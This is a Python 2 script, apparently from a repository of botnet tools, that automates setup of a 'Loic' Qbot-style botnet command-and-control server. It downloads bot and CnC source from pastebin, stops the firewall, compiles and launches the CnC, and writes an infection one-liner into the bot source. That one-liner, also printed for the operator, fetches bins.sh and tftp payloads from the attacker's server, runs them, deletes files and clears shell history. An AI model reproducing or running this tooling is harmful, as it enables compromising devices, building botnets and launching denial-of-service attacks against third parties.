Path: blob/master/Botnets/Auto Setup Qbot/Loic AutoSetup.py
5038 views
import subprocess12def cri(cmd):3subprocess.call(cmd, shell=True)4def replace_line(file_name, line_num, text):5lines = open(file_name, 'r').readlines()6lines[line_num] = text7out = open(file_name, 'w')8out.writelines(lines)9out.close()1011print'\x1b[1;36m::: :::::::: ::::::::::: :::::::: '12print'\x1b[1;36m:+: :+: :+: :+: :+: :+: '13print'\x1b[1;36m+:+ +:+ +:+ +:+ +:+ '14print'\x1b[1;36m+#+ +#+ +:+ +#+ +#+ '15print'\x1b[1;36m+#+ +#+ +#+ +#+ +#+ '16print'\x1b[1;36m#+# #+# #+# #+# #+# #+# '17print'\x1b[1;36m########## ######## ########### ######## '18print'\x1b[1;37m\x1b[1;36mmLoic\x1b[1;37m] \x1b[1;37mCnC AutoSetup \nDeveloped By \x1b[0;31mFlexingOnLamers\x1b[1;37m/\x1b[0;31mCri '1920ip = raw_input("\x1b[1;37mEnter Your Server IP:\x1b[1;35m")21user = raw_input("\x1b[1;37mEnter Desired Username:\x1b[1;35m")22passw = raw_input("\x1b[1;37mEnter Desired Password:\x1b[1;35m")23bport = raw_input("\x1b[1;37mEnter Desired BotPort:\x1b[0;31m")24port = raw_input("\x1b[1;37mEnter The Port You Want to screen on:\x1b[1;35m")2526print '\x1b[1;35mInstalling Needed Dependencies..\x1b[1;37m'27cri('yum update -y')28cri('yum install python-paramiko gcc screen nano wget httpd iptables perl -y;')29cri('yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex -y')30cri('yum install json-c-doc.noarch json-c.i686 json-c.x86_64 json-c-devel.i686 json-c-devel.x86_64 -y')31cri('yum install epel-release -y')32cri('yum install gengetopt -y')33cri('wget -q https://pastebin.com/raw/YAXw7ZJq -O loic.c')34cri('gcc -o loic loic.c -pthread')35cri('rm -rf loic.c')36cri('wget -q https://pastebin.com/raw/idY5wpEu -O client.c')37cri('wget -q https://pastebin.com/raw/Ne69fRpz -O cc7.py')38cri('service iptabes stop')39cri('service httpd restart')40cri('systemctl stop firewalld')41cri('httpd -k restart')42cri('httpd -krestart')43cri('pkill screen')4445replace_line('client.c', 859, 'unsigned char *AllDemDupes[] = { "'+ ip +':'+ bport +'" };\n')46replace_line('client.c', 861, 'char *infect = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://'+ ip +'/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp '+ ip +' -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g '+ ip +'; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *;history -c\r\n";\n')47cri("echo "+ user +" "+ passw +" >> login.txt")48cri("python cc7.py client.c "+ ip + "")49cri("screen ./loic "+ bport +" 1 "+ port +"")50print '\x1b[1;37mWget/CHARLINE Below!'51print '\x1b[1;35mcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://'+ ip +'/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp '+ ip +' -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g '+ ip +'; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *'52print '\x1b[1;37mThank you for using the \x1b[1;37m[\x1b[0;31mLoic\x1b[1;37m] \x1b[1;37mCnC AutoSetup \n\x1b[0;31mPastebin\x1b[1;37m:\x1b[1;36mhttps://pastebin.com/u/flexingonlamers \n\x1b[0;31mGithub\x1b[1;37m:\x1b[1;36mhttps://github.com/AgentCri/ \n\x1b[0;31mEmail\x1b[1;37m:\x1b[1;[email protected] \n\x1b[0;31mDiscord\x1b[1;37m:\x1b[1;36mCri#4614'5354